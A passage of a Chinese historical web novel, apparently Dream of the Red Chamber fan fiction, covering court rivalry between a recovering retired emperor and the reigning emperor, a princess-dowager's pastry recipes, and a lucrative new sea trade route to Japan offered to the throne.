第 157 章 此事要不要先问问... 皇后果然跟圣上说了让徒嘉珩去大明宫侍疾的事情,只说如今贵太妃还不肯消停,外头纯王似乎也有些怨言,南边如今平乱,甄家那边也不知道会是何等光景,圣上日理万机,难以在太上皇病榻前尽孝,徒嘉珩作为嫡长子,自然该承担起这个责任来。 圣上虽说知道皇后这个主意也是想要让徒嘉珩地位稳固,他虽说如今也没有立储之心,对徒嘉珩也不是很满意,但是给太上皇尽孝,却也是符合他的利益的,因此便答应了下来。 徒嘉珩跟太上皇这个祖父其实并不熟,但他是个老实孩子,皇后既然说了,叫他去大明宫替父母尽孝,他就老老实实过去,还跟着太医学了点推拿按摩的手段,给太上皇麻木的身体按摩捶打。 徒嘉珩也不会说什么漂亮话,为了哄太上皇开心,就专门找了几本类似于《笑林广记》之类的书,给太上皇讲笑话。有的时候太上皇还没有笑呢,他就先忍不住乐起来了。 太上皇以前就喜欢那种聪明伶俐的,如今瞧见个有些憨厚的孙子,倒更觉得安心一些。毕竟,聪明伶俐的,便是孝顺,多半也是装出来的,而徒嘉珩这般,一看就是老实人,这孝顺便是真心的。 徒嘉珩也喜欢待在太上皇这里,太上皇不会像是圣上那样,总是用一种“崽,我对你很失望”的眼神看着他,这让他有着沉重的压力。而太上皇这里就不一样了,太上皇在儿子们面前那是一座足以将他们压得粉身碎骨的大山,而在孙子这里,就是个慈爱的小老头。 他现在已经能够含含糊糊说几句话了,最喜欢的就是叫御膳房做了点心哄孙子吃。徒嘉珩也实诚,叫他吃就吃,还要点评几句。他吃平王府的糕点次数比较多,平王府的许多糕点都是顾晓借了后世的方子搞出来的。饮食方面,其实很没必要厚古薄今,后世物质丰富,又引入了西方的饮食文化,最重要的是,餐饮点心行业也内卷得厉害,那些老字号为什么越来越卖不动,不就是抱着原来的老配方不肯变吗?偏生时代变了,大家口味也不一样了,那等重油重盐重糖的菜肴点心已经不能满足大家的味觉了。 最重要的是,现在的厨子,都是把着菜谱秘方不放,生怕什么绝招被别人学了去,不像是后世,各种公开的菜谱,放在网上,生怕你学不会一样。除非真的是那等需要花大功夫,需要极高厨艺的菜式,否则的话,你在网上都能找到详细的做法。 顾晓上辈子没那个闲心自己做,常年处在间歇性踌躇满志的阶段,各种材料模具买回来了,等到自己做的时候,就各种苦手犯懒,然后材料便束之高阁,等过了保质期,就是被丢到垃圾桶的下场。但如今她只需要开口,就有下头的人帮着做,那自然可以任意发挥。 许多点心里头糖不多不好吃,又怕吃太多发胖,没关系,不是有罗汉果吗?就像以前很多香料都是药材,罗汉果相当长一段时间也是被当做止咳平喘的药材在使用。顾晓叫人买了一些回来,直接泡水作为代糖,吃起来口感并没有差到哪里去。 平王府的厨子这些年来,光是新的点心方子就琢磨出了好几本,徒嘉钰又喜欢往弘文馆带,徒嘉珩跟着吃了许多,嘴都跟着养刁了,这会儿就跟太上皇讨论,这个点心太甜,那个点心太油,有的又太硬,反正各种起酥油炸的,吃一两个没问题,吃多了就腻得慌,而且还老是掉渣。 太上皇这边的点心之所以这般,完全是因为太上皇如今不能吃,他现在各种需要忌口的东西,因此,御膳房送过来的那些点心,反正不是吃的,而是用来 看的,一个个造型都很精美,但是口味嘛,就不好说了。 太上皇被徒嘉珩说得馋了,一听是平王府的手艺,立马就叫人去平王府那边借两个点心厨子进宫,他一定要尝到那种清爽软糯的点心才行。 顾晓听到这个要求的时候,都有些哭笑不得,只得叫府里两个点心师傅先进宫,他们要是想要留在宫里伺候,那就留在宫里,要是不想,就叫他们将点心方子献上去,御膳房那些厨子只要有了方子,以他们的手艺,做出来的东西只有更好吃的。 徒嘉珩可以给自家祖父推荐自己喜欢吃的点心,戴权可不敢什么东西都让太上皇入口。太上皇如今还病着呢,御医列出来的饮食禁忌一大堆,以前太上皇喜欢吃的许多东西都被列入了禁忌之中。 巧妇难为无米之炊,御膳房那边许多厨子,如今对太上皇的膳食也是无可奈何,总不能天天给太上皇吃那些清淡的汤汤水水,反正太上皇如今已经是吃得快生无可恋了!他就喜欢吃各种重口味的东西,以前御医虽说要忌口,但总归还能吃到一点,如今各种清淡,只觉嘴里半点滋味都没有。 戴权便是性命都系于太上皇一身,自然不希望太上皇因为贪嘴,导致身体难以恢复,因此,前脚平王府的点心师傅进了御膳房,后脚几个御医就跟过去了。 先是看方子,然后看食材,将单子上的好几种点心给划掉了,最后留下的几样,要么是蒸的,要么就是那种需要冷藏的。鱼鳞冻这种东西,就算是加点提升口感丰富颜色的配料,总归对人体不会有什么害处。这玩意御膳房不是不会做,但是,谁敢给皇帝吃鱼鳞冻啊!鱼鳞这玩意放在宫里头,那是狗都不吃! 但是平王府又不在乎这个,只要好吃,什么不是吃呢? 太上皇身体不方便,御医治疗了这么久,也不过就是勉强能够坐起来,半边身体还是有些难以自主,做的点心就是一口一个的那种。 吃多了汤汤水水,因为太上皇如今牙齿都不太能用得上力,还都是那种食材都被剁碎了的羹汤,如今端上来这些点心,虽说也都不用如何咀嚼,起码看起来都是固体,吃到嘴里还有点实实在在的感觉,太上皇看徒嘉珩的眼神愈发慈爱起来。 好孙子啊,其他人就知道劝自己,这个不能吃,那个不能吃,就没想过,将能吃的东西做得好看好吃一点,简直是岂有此理!难不成因为自己现在是太上皇了,他们就不将自己放在眼里,反过来去讨好新皇了? 太上皇退了也就是几个月而已,还没到真正人走茶凉的地步。 一朝天子一朝臣,又有道是三年无改父道。太上皇如今还在,当今便是想要让老臣退休,渐渐换上属于自己的班底,也只能缓缓图之。最重要的是,当今夹袋里头其实没多少人。 当今一开始是跟着义忠亲王的,义忠亲王坏事之后,其党羽死的死,散的散,便是还活着的,如今也流落四方,尤其义忠亲王哪怕被追封,但是也被盖棺论定了是谋逆,但凡占了谋逆这个字眼的,能活着就不错了,还想要翻身? 之后当今相当长一段时间都摆出一副毫无野心,只想安享富贵的样子,又是跟一帮僧道谈佛论道,府里头又是养了一班戏子,没事就听戏,甚至有的时候还自个在家串戏。因为担心被忌惮,他府里头连个文士幕僚都没有,府里的属官一个个也闲得快要发霉。 等着当今好不容易开始当差了,那会儿最热门的是纯王,谁来烧冷灶呢!即便是各部的官员,也没几个真的敢跟当今亲近的。 当然,年轻一些的官员肯定都是乐意跟着当今的,毕竟,朝堂上的官位,那是一个萝卜一个坑,许多萝卜都快糠掉了,依旧占着自己的坑不放,下面的官员自然希望他们赶紧把位置腾出来。 如此,那些老臣自然也有危机感,他们人老心可不老,自觉还是可以在官位上继续发光发热的,所以,他们其实是盼着太上皇依旧有话语权的,毕竟,他们是太上皇的老臣了,当今要是叫他们告老还乡,岂不是驳了太上皇的面子? 太上皇这边不过是略微放出点风声出去,之后,便有许多老臣排着队来大明宫请安了。 他们也说不出当今有哪里不好,但是呢,无非就是当今年轻气盛,不够稳重,得太上皇继续掌舵才行。 双方可以说是一拍即合,等着第二□□堂上,就有人表示“此事要不要先问问太上皇的意见?” 圣上瞧见下头说话的人,也亏得他城府足够深,要不然,这会儿脸色都变了。 圣上倒不是不关注大明宫的情况,实际上,他几乎每日里都要晨昏定省,但是每次也就是匆匆而来,匆匆而去,连多跟太上皇说几句话的时间都没有。 没办法,不说如今江南那边出了事,其他地方,其实也是一团乱麻。圣上并未接受过完整的储君教育,他的执政经验都是在下面衙门里头做事的时候历练出来的,这就决定了他可能在细节上没问题,但是遇到大略的时候,难免考虑就不周全。 但谁也不是天生就会当皇帝的,多做个几年,总归也能历练出来了,再有几个还算是靠得住的臣子给出主意,查漏补缺,但凡不太喜欢折腾,能体谅几分百姓的疾苦,老天爷再给点面子,不要总是降下天灾,就差不多能算得上是一个好皇帝了。 圣上原本信心十足,毕竟,最难得那一段都已经过去了,谁能想得到,本来安安心心在大明宫养病的太上皇居然跳出来刷存在感了啊! 圣上心里难免有些怨恨,当初义忠亲王的时候就是这样,圣上瞧着这个儿子越来越能干,几次监国都不曾出过什么岔子,跟着也越来越得人心,然后就忍不了了。先是抬着其他儿子跟义忠亲王打擂台,然后就是在各种小事上挑毛病,到了后来,义忠亲王简直是动辄得咎,这才逼着他走到了逼宫这一步。 如今,义忠亲王死了这么多年了,老爷子人都快爬不起来了,还一如既往,简直就是岂有此理!义忠亲王那时候是太子,自己 可已经是皇帝了! 但是看到下面那些老臣的眼神,圣上发觉,自己若是不想要让朝堂停摆的话,还真得吃下这个哑巴亏。 圣上憋着一口气,退了朝,回去之后,连饭都吃不下,忍到晚上去给太上皇问安的时候,才去了大明宫。 到了大明宫那里,太上皇正靠着一个软枕坐着,徒嘉珩在一边拿了一个美人捶给他捶肩。圣上多看了一眼,忽然意识到,太上皇身体好得有点快,原本口眼有着明显的歪斜,如今不仔细看,几乎看不出来了!可见御医手段如何高超。 心里埋怨那些御医怎么这种时候就这么卖力,圣上脸上却是露出一个欣然的笑容,满怀热切地说道“父皇大安,儿臣为父皇贺!(
太上皇瞥了他一眼,随口就说道“什么大安不大安的,朕这把老骨头,如今不过就是苟延残喘,别被人觉得碍眼就是好事了!” 听太上皇说得有些阴阳怪气,圣上只得陪着笑脸,说道“父皇何出此言,父皇能够康复,是儿臣之福,万民之愿啊!” 太上皇也没有继续刺圣上的意思,毕竟,不能真将这个儿子逼急了。他还没完全好呢,真把圣上逼急了,再刺激他一通,他再中风了怎么办?甚至,如今这宫里,已经有不少人投靠了圣上,圣上暗地里头要是对那几个御医威逼利诱,这些御医何等医术,那真是杀人不见血,但凡给太上皇金针刺穴的时候略一抖手,太上皇也就无了。 因此,太上皇只是懒洋洋说道“知道你一向孝顺,朕不过就是嘴上一说罢了!” 圣上面上松了口气,心里却是直打鼓,这位父皇可不是什么省油的灯,既然他静极思动,那么很快就要出招了。 果然,太上皇随口问道“听闻南边白莲教之乱如今快要平了?” 圣上忙说道“托父皇洪福,荡寇将军也智勇双全,如今白莲教虽说不至于树倒猢狲散,也只是苟延残喘,最多一个月,便可彻底平定!” 太上皇点了点头,说道“这就好,那几个府县,被白莲教肆虐,百姓也是无辜,总该安抚一二!” 圣上赶紧称是,又说道“儿臣听父皇的,回头便下诏免了那几个府县今年的赋税,便是有被裹挟从贼的百姓,也只诛首恶,胁从从轻议罪,叫他们服几年劳役,便也罢了!” 听圣上说得头头是道,太上皇不光不觉得欣慰,反而愈发心烦起来,麻蛋,这个儿子愈发上路子了,以后还怎么拿捏他。 想了想,太上皇说道“不仅如此,朕以前在民间听说过一句话,叫做匪过如梳,兵过如篦!跟着下去平叛的那些士卒,也得约束好了,别叫这些骄兵悍将,借口株连白莲教余孽,给下面那些良民扣上什么勾结教匪的罪名,到时候失了民心,将江南闹得一塌糊涂!” 圣上听得太上皇这般说,一下子就绷不住了! 作者有话要说 第 158 章 原来竟是财神爷来... “岂有此理!”圣上回到自个寝宫,就忍不住一脚将一张锦墩踹倒,夏守忠给他端了茶水过来让他消消气,他一口没喝,直接将茶盏摔到地上,嘴里骂道,“父皇真是老糊涂了,别说这白莲教之乱本来就有猫腻,多半是江南那些士绅捣的鬼,便是没他们什么事,这些人无君无父,也该趁着大军在南边的机会,叫他们知道朝廷的厉害。父皇倒好,上下嘴皮子一番,还要安抚他们!这是什么道理,这天下还是咱们徒家的天下吗?” 夏守忠低眉顺眼地站着,等着圣上发完脾气,才压低了声音壮着胆子说道“奴婢以为,老圣人是有意如此!” 圣上神情阴晴不定,他这会儿也想明白了,可不是嘛,若是真叫自己竟了全功,他这个太上皇以后就真是摆设了!唯有给自己留一个难题,他才能保持自己的权威。 圣上又愤怒起来“这江山社稷,难道还不如父皇一己之私来得重要?” 夏守忠这下不敢说话了,他一个奴婢,哪来的胆子指责太上皇,好半天只得劝道“老圣人这般年纪了,又病了这一场,皇爷暂忍那么一时又如何?” 夏守忠的想法也不能说错,老徒家前头几个皇帝寿数都不算长,太上皇五十多了,这次还中了风,严重到不得不退位的地步,就这样的情况,他还能活几年呢?他却没想到,这位太上皇是真能活啊,一个不小心,圣上说不定都熬不过他! 圣上也觉得夏守忠这个说法有道理,没错,自家这位亲爹这般折腾劲,又能活几年啊,自己之前能忍,如今怎么就不能忍了呢? 只是想到原本可以将江南那边的蛀虫清理一下,错过这次机会,还不知道要等到什么时候,圣上又觉得心里发堵,最终无可奈何地一屁|股坐了下来“罢了罢了,那便如此吧!” 而凤仪宫中,徒嘉珩也跟皇后说了今儿个的事情,他有些紧张地说道“父皇和皇祖父看起来似乎都不太好!儿臣笨嘴拙舌的,也不知道该说什么,不知道父皇有没有生儿臣的气!” 皇后听了,不免叹了口气,她想了想,说道“你还是老老实实去你皇祖父那里,以后,你皇祖父那里有什么事,你回来跟母后说,明白吗?”其实就是让徒嘉珩打着孝顺孙子的名号,在太上皇那里做眼线,虽说太上皇那样精明的人,重要的事情肯定不会当着徒嘉珩的面来说,但徒嘉珩总得摆出个态度来吧! 至于说后悔什么的,皇后也没有,实际上,她还觉得,叫徒嘉珩多见识一下太上皇与圣上之间的冲突,应该能变得聪明点。 徒嘉珩如今不怎么待在弘文馆,徒嘉钰也算是得了清静。其他几个皇子才进弘文馆读书,一时半会儿跟学里众人还不熟悉,又知道徒嘉钰素来与徒嘉珩交好,因此也不多理会他,徒嘉钰也乐得如此,他再有几年就能正式继承平王之位,跟徒嘉珩凑一块是从小长到大的交情,其他人跟他能有多少交情,不如当做寻常亲戚,见面打声招呼也便足够了。 平王府里头无人在朝,徒嘉钰自贾瑚进了国子监之后,连伴读也不要了,就自个在里头读书,因此消息也算不得灵通,等知道太上皇好了,竟是又开始与圣上争权,以至于双日高悬,朝堂上诸多官员又开始站队的时候,都已经入冬了。 此时南边白莲教之乱已经平定,金铭立下这般功劳,圣上又给他封了兵部侍郎,叫他留在京城为官,又赏赐了诸多财物。 也亏得剿灭了白莲教,南边滞留的赋税钱粮也及时递解进了京,要不然圣上连劳军的钱都拿不出来 。 原本按照道理,新皇登基,就能继承内帑,便是国库没钱的时候,还能从内帑支应一些。结果太上皇还在,他是半点没想过儿子的难处,反倒是把着内帑不放,雍王府这些年来也就是近几年入股了平王府的茶瓷生意,才算是宽裕了一些,但是这些钱供应王府可以,还能有不少盈余,但要是作为皇帝的私房钱,那是远远不够的!宫里头像是后妃皇子公主乃至宫女太监的俸禄,倒是能从内帑出,但是圣上要是想要拿内帑里的钱财宝物赏赐臣下,那就不可能了! 圣上如今这个皇帝就做得比较憋屈,能自由花销的钱很少,朝堂上真正掌权的又都是老臣,金铭这个新任的兵部侍郎倒勉强能算他的人,可是他背后还有个西宁郡王府,可不想在二圣之间站队。总之,圣上想要干点什么事情,都绕不开太上皇去。 皇后也难,但是她这样的身份,也不适合找人诉苦,但是顾晓却也猜得八九不离十。顾晓的猜测来源于后世的教育,经济基础决定上层建筑。对于朝廷来说,真正要紧的权力无非就是三样,一样是财权,一样是人事权,最后一样就是军权。 圣上如今才略占了点军权,那还是因为西宁郡王府这一系的勋贵,但这些人未必肯真的就站在圣上这边。太上皇要是肯多给点好处,他们只怕跳反得比谁都快! 顾晓既然打定了主意,叫自家一系出海开辟,自然要得到上层的支持,要不然,光是他们私底下移|民,得干到什么时候。太上皇活得再长,但是时间终究是站在圣上这边,尤其太上皇其实只是想要掌权,一直以来并无换人的心思,或者说,他便是有心换人,也没足够的理由。 可以说,不管怎么样,圣上的地位总归是稳的,早点站队并不会吃亏。自家手里无权,也代表不了宗室,大家又都知道,圣上还在潜邸的时候,两家关系就极为亲近,每每进宫,顾晓都是跟着当年的皇后,徒嘉钰也一直都是跟着圣上父子两个的,如今自家更亲近一些,那也是理所当然的事情,便是太上皇,也不可能因为这事找自家的麻烦。 等着出海的船队第一次回来,顾晓就递了牌子进宫。 皇后接到顾晓的牌子,也不知道缘故,毕竟,往常的时候,便是要分红,也都是到了年底了。如今刚刚入了冬,且还没到时间呢!只是皇后如今在宫里头也是没个真心实意的人说话,见得顾晓要进宫,自然是答应了下来。 顾晓也没有大张旗鼓,只是带了账本子还有几个装了海外特产的匣子进来,皇后正意外呢,见得这些,问道“这是什么?” 顾晓便解释道“咱们家的船前儿个刚去了一趟东洋,也是今年才开辟的航线,毕竟,原本每年夏秋季节的时候,海上常有风暴,一个不好船队都要搭进去,因此,往年船队都是趁着这几个月在港口修整。去年盈余比较多,前些年又捎带着积攒了不少木料阴干了,正好学着西洋那边船的样子,打造了几艘新船。原本想着等过了秋天就下南洋,只是前阵子不是闹白莲教嘛,不少海商业受了影响,他们原本是往高丽或者是东洋那边去的,咱们家那管事得了消息,就采买了一批东西,驾着新船往东洋去了,前阵子才回来!” 顾晓说着,便将带过来的几个匣子打开,又说道“以往没往那边走过,因此不知道,这去了一次才知道,东洋那边虽说贫瘠,竟也有不少好东西,以前我只知道倭缎,如今才知道,那边也产珍珠,玉髓,玛瑙,水晶之类,他们那边折扇还有漆器也有些特色,最重要的是,那边金银比咱们这边便 宜得多!” 一开始皇后还仔细看着匣子里面的珍珠玛瑙,还有漆器和扇子,之后一听金银,立马就抬起头来,看向了顾晓“金银?” 顾晓肯定地点了点头,说道“前朝的时候那里就发现了大型的金银矿,只是前朝都是些海匪与他们交易,反倒是朝廷半点不知。本朝海贸倒是比前朝兴盛,只是东洋那边的海贸依旧被少数几家把持,其他人家胆敢过去,只怕出海不用二十里,就被海盗给击沉了!这次也是那些人家应接不暇,咱们家又打着王府的旗号,这才走了那一趟!” 说着,顾晓将账本子翻开,递给了皇后,又说道“这次出海获益极大,那边管事的想要将这条航线占下来,又怕那几家纠缠。民间有句话说得虽说俗了点,但却也不错,所谓夺人财路如杀人父母,一次也就罢了,咱们家要真的想要打通这条航线,只怕那边根本忍不了!” 皇后这会儿已经看到了账本上的数字,瞳孔都大了一圈,她不是没见过钱的人,但是真没经手过这么多的钱!她深吸了一口气,将账本合上,声音都有些变调了“他们难道还敢跟皇家作对不成?” 顾晓轻声说道“前朝还禁海呢,不也没拦住下头嘛!前朝那倭寇怎么来的,以前大家不知道,如今还不明白吗?多半是假倭,都是那些大海商养着的!如今也是一样,沿海那些海盗,背后不是大海商就是大士绅。沿海不知道多少小岛,随便找几个做据点,便是惹了什么大人物,躲上几个月,事情也就过去了!这天高皇帝远的,到底出了什么事,不也就是南边那些人说了算嘛!” “皇嫂,老实说,这钱,我们府里其实是不敢多赚的,攒够了几个孩子的分家银子还有两个丫头的嫁妆银子,也就差不多了!我跟几个孩子也都不是什么骄奢的性子,又不吃什么龙肝凤髓,穿什么鸿衣羽裳,钱太多,对下面的孩子来说,不是什么好事。”顾晓也没跟皇后拐弯抹角,“只是我想着,皇嫂你们不一样,如今这个境况,别的也就罢了,手里还是多点钱为好!所以,这次的收益,除了留了给下头继续造船采买货物,赏赐下面船工水手的,我今儿一早就叫人送圣上潜邸那边去了!而这商路,要是想要继续维持,也得圣上那边发话才行!” 皇后听了,也明白顾晓的意思。平王府能在南洋的贸易里头分一杯羹已经不容易,这主要还是借了顾家那边的一些亲戚关系,加上他们的玉瓷着实是物美价廉,其他人家竞争不过。但是东洋那边,是几家的自留地,今年人家没顾上,但是如今江南都太平下来了,再想要钻空子就不容易了。人家一个不高兴,联络了海盗,将你的船全给击沉了,人也杀了,你只怕几个月都收不到消息,还不知道怎么回事呢! 平王府没这个能耐保住这条商路,要是圣上想要赚这个钱,就得先想办法将这个麻烦给解决掉才行。 皇后沉吟一番,觉得圣上应该不会放过这个机会,回头就要过年了,圣上手里总得有一笔钱用于赏赐后宫和前朝才行,要是太上皇那边给了,圣上这边没有,那就真的要失了人心。今年有了这笔意外收入,但以后呢?花钱的地方只有越来越多的道理,而不会越来越少,总不能指望太上皇立马咯嘣吧! 皇后便安抚顾晓,说道“弟妹的顾虑,我也知道,我回头便跟皇爷说这事,皇爷应该会同意!至于说收益都给皇爷的事情,却也罢了,这事的本钱都是弟妹你出的,也都是弟妹你的人手,和以前一样分成便行!” 顾晓忙说道“皇嫂这话说得,倒是叫我无地 自容了!有多大的本事吃多大的饭,东洋那边的买卖,没了圣上,船队就是别人面前一盘菜,哪里玩得转!圣上若是愿意打通那边的商路,也得费许多心力,反倒是我们府里占了便宜呢!( 皇后跟顾晓又互相推让了半天,最后也没得出个结果来,皇后只说回头禀告了圣上再做计较,顾晓便将匣子和账册留了下来,先出宫回府了。 皇后等着顾晓走了,又仔细看了一下账册,只看得心惊肉跳,妈耶,这么多钱,如今就放在以前的雍王府里头,要是那边的侍卫监守自盗怎么办?她一时间有些急了,琢磨了一下,便叫来了凤仪宫的太监总管陈德义“陈公公,你拿了凤仪宫的牌子,去一趟兴庆宫,跟皇爷说一声,就说本宫有事与皇爷商议!” 陈德义赶紧答应下来,他可不是原本在雍王潜邸里头伺候的,好不容易这个年纪熬出了头,竟是能在凤仪宫做总管,自然也是想要做出点成绩来,只是皇后素来低调的,即便贤妃那边有些挑衅之意,皇后也只是一笑而过,并不计较。如今得了往前头去的差事,陈德义觉得可算是能在皇爷面前露脸了,当下立马略整理了一下,便叫了个小太监跟着,一块往前头去了。 “皇爷,凤仪宫总管陈德义求见!”兴庆宫这边,别说是一个太监,便是外头的大臣,也不能说进去就进去,自然得先有人往里头传话才行。 圣上这会儿略有些心烦,听得这话,微微皱了皱眉,说道“叫他进来吧!” 陈德义弓腰低头,快步走进御书房,也不敢抬头,就先跪下行礼“奴婢陈德义,叩请皇爷圣安!” “行了,起来吧!”圣上开口说道,“皇后叫你过来,什么事?” 陈德义利索地将事情说了,就听圣上问道“可知是什么事?” 陈德义摇了摇头“奴婢并未近身伺候,却是不知!只是今儿一早,平王太妃递牌子求见,与娘娘说了好一阵子话,然后娘娘便吩咐奴婢来请皇爷!” 圣上愣了一下,当下便起身说道“既是如此,摆驾凤仪宫!” 等到了凤仪宫,皇后将事情一说,圣上再一看账本子,一时间也是心中火热!不当家不知柴米贵,以前瞧着太上皇花钱各种大手大脚,如今轮到自己,没多少私房钱不说,户部还天天哭穷。一个皇帝手里没钱会是什么下场,可以参照一下前明的皇帝,所以本朝就将内帑和国库分得很清楚,皇家也占据了许多产业,由内务府管理,其实就相当于秦汉时候的少府,无非就是规模小许多罢了。 “朕怎么说,今儿个府里长史罗实一早过来求见呢,以为又是什么陈芝麻烂谷子的事情,竟是没叫人问一下,这会儿人还在偏殿值房那边等着呢!”圣上这会儿也有心玩笑一下了,“原来竟是财神爷来了!” “什么财神爷,弟妹可是女子!”皇后嗔道,“弟妹也是一片忠心,只是东洋那边该当如何处置,还得皇爷示下才行!” 圣上不假思索地说道“天授弗取,反遭其咎!竟是有那等人物,私底下垄断了东洋那边的贸易,朕竟是半点风声也不曾听见!以往一说海贸,大家都说是南洋,最多就是北上从高丽那边采买一些高丽参,高丽纸之类,从来不曾听说过东洋的事情!可见这里头定然有什么猫腻!若是不趁着这个机会,将此事查清,回头这些人有了钱粮,还不定做出什么事情来呢!” 之前白莲教之乱,太上皇一力安抚怀柔,以至于未尽全功,圣上一直耿耿于怀,如今听得有人勾结乃至是豢养海盗,就算没这 么多钱,也戳了他的肺管子。前朝倭寇之乱尚且不远,若是这些人回头对朝廷不满,直接叫这些海盗假扮倭寇上岸劫掠,那东南一带岂不是又要不得安宁? 圣上这般想着,直接说道“朕这就命人查探,等查明之后就命水军围剿!(笔趣阁。.” 皇后提醒道“这海盗海商的事情,瞒得了别人,难道还瞒得过市舶司和水军?只怕他们早就知道内情,却一直不说而已!” “荒唐!”圣上被皇后这么一说,不免咬牙切齿,“这等蠹虫,真是罪该万死!”他站起身来,在店内踱了几步,终于说道“回头皇后跟七弟妹说一声,就说那条商路,必须要保住!她只管叫人采买货物,准备出海之事,其他事情,自有朕来处置!” 皇后听圣上这般决断,又说起了分成之事,圣上不免有些脸红,但是人穷志短,皇帝一穷,也是一样,他干咳了两声,厚着脸皮说道“那个,分成的事情,不如咱们占七成,留给弟妹三成吧!” 皇后见圣上有些尴尬的样子,也只是抿嘴一笑。 圣上这会儿想到已经运到潜邸的金银,顿时也有些坐不住,说道“之前晾了罗实那么久,朕也该见一见他,将事情吩咐下去!” 皇后并不插嘴前朝的事情,听得圣上这般说,便起身说道“皇爷国事要紧,臣妾送一送皇爷!” 圣上看着皇后已经不再年轻,但气度却是从容,是宫中其他妃嫔所不能比的,终究是结发夫妻,总是肯帮他排忧解难,因此,他握了握皇后的手,含笑说道“皇后莫要多送了,过一会儿朕来皇后这边用晚膳!” 皇后听了,也是抿嘴一笑“那我便叫人去御膳房传个话,叫他们准备一些皇爷爱吃的菜!” 圣上想了想,又说道“朕回头还得去大明宫给父皇请安,到时候也将珩儿一块儿带过来!咱们一家子,可是好久没有坐一块用饭了!” 皇后听了,脸色不变,只是笑道“既是如此,不如臣妾叫人再请了几位皇子公主一块过来,人多也热闹!”如今两人关系好,圣上将她跟她所出的一儿一女说成是一家人,但以后呢?说不定又要说她只知道自个生的孩子,作为嫡母,竟是不将其他孩子视作己出,可谓不贤。皇后不想冒这个风险,与其叫圣上只面对一个徒嘉珩,然后各种挑刺,不如将几个孩子都叫过来,一方面显示自己一片慈母之心,另一方面也叫圣上知道,他其他几个孩子并不真的比徒嘉珩优秀。 圣上也没多想,只是笑道“全凭皇后做主就是了!” 作者有话要说 第 159 章 恩侯,这才十来年... 圣上的开心并没有持续太久,等到了年底,他觉得江南那边的盐税又有些不对,加上甄家大概是因为徒宏憬没能上位的缘故,颇有些破罐破摔的架势,便想要换个盐政。 只是这事撇不开太上皇,圣上只得去找太上皇商议。 但是太上皇却不乐意,直接表示,甄家当年接驾,欠了不少饥荒,当初是他允诺叫甄家管着盐政,然后将亏空填补上的。甄家这几年也算是尽忠职守,以至于亏空一直没还上,所以,还得给甄家几年时间才行! 圣上听太上皇的理由,差点没把下巴掉下来!凭什么啊,当初是老爷子你享受到的,我是一天行宫都没住过,如今轮到我做皇帝了,拿着我的钱来给甄家填补亏空? 瞧着圣上眼神不好,太上皇也觉得这个理由有点扯淡,但是真实的理由太上皇没说,因为太上皇私底下跟甄家还有些沟通,表示自己退位之后后悔了,觉得当今不孝,准备回头自己身体大好了,将当今废掉,重立徒宏憬。 至于当初为什么不立徒宏憬,太上皇理由也很简单,一方面距离徒宏憬围场闹出的笑话时间还不长,另一方面就是他那会儿以为自己命不久长,徒宏憬太年轻,也没多少威望,上位之后难免要被下面臣子架空,到时候还不定会是什么情况! 总之,太上皇那张嘴,便是鬼话连篇,也把甄家乃至贵太妃母子两个骗得七荤八素,或者说,他们愿意相信太上皇的鬼话。毕竟,他们付出了那么多,最后却什么也没得到,如今太上皇好起来了,他们不向着太上皇,又能如何呢? 也就是圣上不知道,要不然的话,当场就要跟太上皇翻脸。 太上皇其实就是想要在两个儿子乃至朝堂上头搞平衡,好维持自己超然的地位,这手段跟贾史氏在两个儿子之间搞平衡没什么区别,无非就是贾史氏玩脱了,贾赦彻底离心,压根不买贾史氏的账,以至于贾史氏不得不在贾政身上不断投入。 既然要让甄应嘉继续做盐政给太上皇捞钱,那就得在别的上头退让一步,因此,太上皇便说道“盐政先叫甄家再做几年,不过,的确也该找个人看着点甄家,依朕的意思,也该换一任巡盐御史了!” 圣上只得说道“不知父皇对巡盐御史的人选,可有什么想法?” 太上皇自然也想要换自己的人,他也是有恃无恐,仗着圣上手里暂时无人可用,不过嘴上却是说道“你已经是皇帝了,此事自然有你做主!只是巡盐御史的位置颇为重要,一个不好,与那些盐商同流合污,再如同当年一样,又是百姓受苦!因而,最好不要从寒门子弟里头选,世家子弟见得多了,也没那么容易被那些盐商收买!” 这话一说,便否决掉许多人了,尤其巡盐御史,既然占了御史两个字,就得从在御史台做过御史的人里头选,再要出身世家,这下还能选谁呢? 圣上跟御史台的人也不熟悉,这会儿瞧着太上皇一副成竹在胸的样子,心里也是暗骂,不过还是硬着头皮问道“儿臣愚钝,还请父皇指点一二!” 太上皇图穷匕见,说道“代善的女婿林如海如今不是在扬州做知府嘛,正好也差不多任满了,他们家以前有爵位,却又是清流出身,颇为爱惜羽毛,定然不会做出与商贾同流合污之事!” 圣上咬了咬牙,说道“父皇,儿臣有一事不明,扬州知府乃是五品,但这巡盐御史却只是七品,总不能要用人家,反倒是贬了人家的职吧!” 太上皇笑眯眯说道“你啊,就是不知道变通,之前朕还叫代 善家那大儿子做东城兵马司使呢,他可是一品的将军!既是品级不对,那就给他一个高品的虚职嘛!” 其实这种事情在宋朝很常见,宋朝的官员就是官位是官位,差遣是差遣,只是如今却是没有这样的习惯。 圣上见太上皇将一切都想得明明白白,不免有些无精打采,不过还是说道“既是如此,那父皇做主便是!” 太上皇又赢了一局,却也不在圣上那里显摆,反倒是安抚了圣上几句,这才叫戴权送圣上出了大明宫。 圣上有些气馁,出了门也不叫辇,就这么只带着夏守忠还有几个小太监,信步往前走。他近日跟皇后关系正好,信步就走到了凤仪宫。 凤仪宫这边,皇后正在跟小女儿嘉妍看银造局刚刚进上的首饰。 “都是些老式样,还不如之前七婶送我的好呢!”嘉妍看了一番,不免有些抱怨,小女孩就喜欢漂亮精致的小东西,其实银造局做得已经很好了,用的都是什么点翠、鎏金、累丝之类的工艺,繁复华丽兼备,但对于嘉妍来说,就显得有些老气,不够活泼俏丽。 “你七婶是个心思灵巧的,许多样式都是她自个想的,回头你七婶进宫,咱们便问问她有没有新的式样!”皇后也不是什么会占便宜的人,便是拿了顾晓的新首饰式样,自然也会有所回报。 嘉妍眼睛一亮,忙问道“那七婶什么时候进宫啊,我过年的时候想戴新首饰!” 圣上进来的时候也没叫人喊话,进门的时候就听到皇后笑道“如今你七婶住得远,进来一趟也不容易,回头母后发个帖子,请她过来,可好?” 圣上听了,振作了一下精神,笑道“你们娘俩说什么呢?妍儿是想她七婶了?” 皇后忙拉着嘉妍站起来,给圣上行了一礼,这才说道“哪里是想她七婶啊,是想她七婶的好东西了!眼看着就要过年了,银造局送了些新首饰过来,妍儿不喜欢,想着她七婶之前的那些花样呢!” 圣上皱了皱眉“可是银造局不尽心?” 